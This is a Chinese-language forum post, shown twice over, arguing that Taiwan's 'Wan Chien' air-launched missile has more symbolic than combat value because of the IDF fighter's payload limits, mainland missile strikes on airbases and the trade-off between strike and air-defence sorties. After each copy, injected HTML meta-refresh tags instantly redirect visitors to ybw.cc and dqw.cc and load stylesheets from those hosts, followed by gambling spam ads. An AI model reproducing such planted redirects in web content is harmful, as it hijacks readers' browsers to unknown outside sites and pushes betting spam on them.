榮子文進來聊聊"万劍"彈,另外問一下你是 ...

<br /><br />榮子文先生是否曾在全球防衛(www.diic.com.tw)的訪客討論區待過啊？我是那裏的玄武岩，曾經和你在哪裏交流過，不知還記得嗎？

記得這個&quot;万劍&quot;彈我曾經在幾年前和那裏的老衲先生討論過，万劍彈對臺灣的意義不大。当年我和老衲之间的讨论还成了台湾某网站的讨论范例（当然处于某种需要他们对我的原话有删节）。http://www.gamez.com.tw/thread-312855-1-1.html

回到&quot;万劍&quot;彈的话题，台湾想使用&quot;万劍&quot;彈达到攻势防空的目的，这样的想法没错，但是有一點你卻沒有想到，那就是大陸也在使用相同的手段，而且手段更加多樣化，攻擊的能力也更強。

臺灣未來唯一可能挂載&quot;万劍&quot;彈的就是IDF，因爲F-16的火控系統無法兼容&quot;万劍&quot;彈，除非美國人提供協助，但是美國的軍火商是不會讓自己的飛機挂別人的武器的，這也是美國一貫的政策，理由很簡單，經濟利益。

IDF本身就受到發動機推力的限制，使得推重比很低。還要挂載重量和體積都很大的&quot;万劍&quot;彈，那首先就會使本來就不好的機動能力大幅下降，這還是其次，由於挂載&quot;万劍&quot;彈，使得機身挂載能力大量被佔用，這樣空對空武器就要減少，本來就不強的空戰能力就會被削弱。面對大陸全副空優挂載前來奪取制空權的SU-27/30,J-10戰機IDF如何應付？

其次，大陸的導彈優勢可以在戰時使用導彈攻擊臺灣的主要機場，破壞機場跑道，即使不能完全阻止臺灣的戰機升空，也能大幅降低出動強度和數量，臺灣的戰機數量本來就不佔優勢，在導彈火力打擊下有大大降低了能夠出動的數量，這樣在空中的那點戰機用來奪取制空權都不夠，哪有功伕去帶那個&quot;万劍&quot;彈？

再次，如何配置攜帶&quot;万劍&quot;彈戰機的比例？是五五分成？還是二八？三七？

對地攻擊的飛機多了，那防空的就少，到時臺灣本島的制空權都陷落了，那你打掉人家沿海的幾個機場還有什麽用？

同樣防空的飛機多了，那攻擊的就少，可憐的幾架飛機就算突破對方戰鬥機的攔截，攻擊的效果又如何呢？

大陸沿海幾十座機場，就凴這幾個恐怕就是隔靴搔癢而已啦。

所以在我看來所謂&quot;万劍&quot;彈的象徵意義，要遠遠大於實戰意義。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />榮子文先生是否曾在全球防衛(www.diic.com.tw)的訪客討論區待過啊？我是那裏的玄武岩，曾經和你在哪裏交流過，不知還記得嗎？

記得這個&quot;万劍&quot;彈我曾經在幾年前和那裏的老衲先生討論過，万劍彈對臺灣的意義不大。当年我和老衲之间的讨论还成了台湾某网站的讨论范例（当然处于某种需要他们对我的原话有删节）。http://www.gamez.com.tw/thread-312855-1-1.html

回到&quot;万劍&quot;彈的话题，台湾想使用&quot;万劍&quot;彈达到攻势防空的目的，这样的想法没错，但是有一點你卻沒有想到，那就是大陸也在使用相同的手段，而且手段更加多樣化，攻擊的能力也更強。

臺灣未來唯一可能挂載&quot;万劍&quot;彈的就是IDF，因爲F-16的火控系統無法兼容&quot;万劍&quot;彈，除非美國人提供協助，但是美國的軍火商是不會讓自己的飛機挂別人的武器的，這也是美國一貫的政策，理由很簡單，經濟利益。

IDF本身就受到發動機推力的限制，使得推重比很低。還要挂載重量和體積都很大的&quot;万劍&quot;彈，那首先就會使本來就不好的機動能力大幅下降，這還是其次，由於挂載&quot;万劍&quot;彈，使得機身挂載能力大量被佔用，這樣空對空武器就要減少，本來就不強的空戰能力就會被削弱。面對大陸全副空優挂載前來奪取制空權的SU-27/30,J-10戰機IDF如何應付？

其次，大陸的導彈優勢可以在戰時使用導彈攻擊臺灣的主要機場，破壞機場跑道，即使不能完全阻止臺灣的戰機升空，也能大幅降低出動強度和數量，臺灣的戰機數量本來就不佔優勢，在導彈火力打擊下有大大降低了能夠出動的數量，這樣在空中的那點戰機用來奪取制空權都不夠，哪有功伕去帶那個&quot;万劍&quot;彈？

再次，如何配置攜帶&quot;万劍&quot;彈戰機的比例？是五五分成？還是二八？三七？

對地攻擊的飛機多了，那防空的就少，到時臺灣本島的制空權都陷落了，那你打掉人家沿海的幾個機場還有什麽用？

同樣防空的飛機多了，那攻擊的就少，可憐的幾架飛機就算突破對方戰鬥機的攔截，攻擊的效果又如何呢？

大陸沿海幾十座機場，就凴這幾個恐怕就是隔靴搔癢而已啦。

所以在我看來所謂&quot;万劍&quot;彈的象徵意義，要遠遠大於實戰意義。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台